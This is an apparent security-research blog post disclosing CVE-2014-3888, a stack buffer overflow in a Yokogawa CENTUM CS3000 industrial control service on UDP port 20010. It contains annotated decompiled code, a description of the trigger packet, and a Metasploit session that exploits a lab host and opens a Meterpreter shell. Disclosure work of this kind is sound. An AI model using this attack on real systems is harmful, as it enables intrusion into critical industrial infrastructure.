Last March 8th, @julianvilas and I spoke at RootedCON about our work with the Yokogawa CENTUM CS3000 product. As noted in the talk, we are releasing information about all of the vulnerabilities we found in the product at the time. Today, we're disclosing the last one of the discovered vulnerabilities.

For all of you who weren't able to attend RootedCON, we're going just to quote the Yokogawa description of their own product in order to introduce it: "Yokogawa released CENTUM CS 3000 R3 in 1998 as the first Windows-based production control system under our brand. For over 10 years of continuous developments and enhancements, CENTUM CS 3000 R3 is equipped with functions to make it a matured system. With over 7600 systems sold worldwide, it is a field-proven system with 99.99999% of availability."

Vulnerability Summary

The Yokogawa Centum CS3000 solution uses different services in order to provide all its functionality. The “BKFSim_vhfd.exe” service, started when running the “FCS / Test Function” for extended virtual testing, listens by default on 20010 (TCP and UDP). By sending a specially crafted packet to the port UDP/20010 it's possible to trigger a stack based buffer overflow which allows execution of arbitrary code with the privileges of the CENTUM user.

Disclosure Timeline

Date Description
Mar 5, 2014 Initial contact to Vendor
Mar 10, 2014 Vendor advised contacting CERT/CC, JPCERT
Mar 11, 2014 Disclosed to CERT/CC, CVE-2014-3888 assigned
May 07, 2014 Metasploit module published in Pull Request #3499

Technical Analysis

The vulnerability exists in the function sub_403E10 (IDA notation), used for logging purposes by the BKFSim_vhfd.exe service. The vulnerable function assembles log lines using a defined list of pre-formatted strings (format strings), and user controlled (tainted) data (in some cases). But it uses dangerous functions and static size stack buffers in order to do it, being the size of the buffers no longer enough for storing logs created with malicious user-controlled data.

Two vulnerable points have been found in the described function, which allow to corrupt two different stack buffers when logs are built with user controlled data:

BOOL sub_403E10(BOOL a1, const char *Format, ...)  
{  
  unsigned int v2; // ecx@1  
  BOOL result; // eax@1  
  unsigned int v4; // ebx@7  
  void *v5; // edi@7  
  HANDLE v6; // edx@7  
  unsigned int v7; // ecx@7  
  struct _SYSTEMTIME SystemTime; // [sp+0h] [bp-220h]@7  
  DWORD NumberOfBytesWritten; // [sp+14h] [bp-20Ch]@7  
  char Buffer[260]; // [sp+18h] [bp-208h]@7 // Overflow 2  
  char Dest[260]; // [sp+11Ch] [bp-104h]@4 // Overflow 1  
  va_list va; // [sp+22Ch] [bp+Ch]@1  
  
  
  va_start(va, Format);  
  HIWORD(v2) = 0;  
  *((_WORD *)lpBaseAddress + 192) = 61;  
  result = a1;  
  LOWORD(v2) = *((_WORD *)lpBaseAddress + 177);  
  if ( v2 >= a1 && Format && hObject != (HANDLE)-1 )  
  {  
    memset(Dest, 0, 0x100u);  
    Dest[256] = 0;  
    if ( strlen(Format) < 0x100 )  
      vsprintf(Dest, Format, va);//Buffer Overflow 1: Dangerous use of vsprintf to copy data to the stack  
    else  
      sprintf(Dest, "data size too big (>= %i)", 256);  
    GetLocalTime(&SystemTime);  
    sprintf(  
      &Buffer,  
      "%02d/%02d/%02d %02d:%02d:%02d:%03d::sim_vhfd",  
      SystemTime.wYear % 100,  
      SystemTime.wMonth,  
      SystemTime.wDay,  
      SystemTime.wHour,  
      SystemTime.wMinute,  
      SystemTime.wSecond,  
      SystemTime.wMilliseconds);  
    v4 = strlen(Dest) + 1;  
    v5 = &Buffer + strlen(&Buffer); // v5 points inside Buffer, after the log header  
    memcpy(v5, Dest, 4 * (v4 >> 2)); // Buffer Overflow 2: Dangerous use of memcpy to copy data to the stack  
    v6 = hObject;  
    memcpy((char *)v5 + 4 * (v4 >> 2), &Dest[4 * (v4 >> 2)], v4 & 3);  
    v7 = strlen(&Buffer);  
    *(&Buffer + v7) = 13;  
    Buffer[v7 - 1] = 10;  
    WriteFile(v6, &Buffer, v7 + 2, &NumberOfBytesWritten, 0);  
    result = FlushFileBuffers(hObject);  
    *((_WORD *)lpBaseAddress + 192) = 62;  
  }  
  return result;  
}  

By sending specially crafted data to the UDP/20010 port, it's possible to force a call to the vulnerable function with use controlled data of a size enough to overflow the stack buffers.

In order to demonstrate the vulnerability a malformed heartbeat (HealthFromUDP) package has been used. These packages are exchanged between the different HIS stations and the FCS simulator:

According to our understanding of the packages:

  • The first 16 bytes are a header, were:
    • At offset 6 there is a two bytes packet identifier.
    • At offset 15 there is a one-byte packet length. 
  • The last 4 bytes are a trail.
  • The bytes between the header and the trail are the exchanged data (HIS station identifier in this case).

  • Command/operation (heartbeat)
  • Packet Length
  • Data (HIS identifier)

When a packet like the above is received, the vulnerable program will try to build a log line with the next format:

"ERROR:HealthFromUDP():GetHostTblPosByName(hostname=%s) rtnno=%d"  

And will use the HIS identifier to build the hostname, which leads to the already described buffer overflows.

Exploitation

Exploitation has been confirmed by sending a heartbeat packet with a long HIS Identifier in the Data field. In this way is possible to overflow the EIP saved on the stack (in fact it's overwritten twice) and gain code execution since there isn't stack cookie protection in the vulnerable function.

As proof of concept, a working exploit has been developed for Windows XP SP3 / Yokogawa Centum CS3000 R3.08.50, where is possible to gain arbitrary code execution:

msf > use exploit/windows/scada/yokogawa_bkfsim_vhfd
msf exploit(yokogawa_bkfsim_vhfd) > set RHOST 172.17.1.63
RHOST => 172.17.1.63
msf exploit(yokogawa_bkfsim_vhfd) >
msf exploit(yokogawa_bkfsim_vhfd) > rexploit
[*] Reloading module...
 
 
[*] Started bind handler
[*] Trying target Yokogawa Centum CS3000 R3.08.50 / Windows XP SP3 (English), sending 789 bytes...
[*] Sending stage (769024 bytes) to 172.17.1.63
[*] Meterpreter session 1 opened (172.17.1.1:58714 -> 172.17.1.63:4444) at 2014-02-17 23:03:24 +0100
 
 
meterpreter > getuid
Server username: HIS0163\CENTUM
meterpreter > sysinfo
Computer        : HIS0163
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : es_ES
Meterpreter     : x86/win32

Want to try this out for yourself? Get your free Metasploit download now or update your existing installation, and let us know if you have any further questions or comments.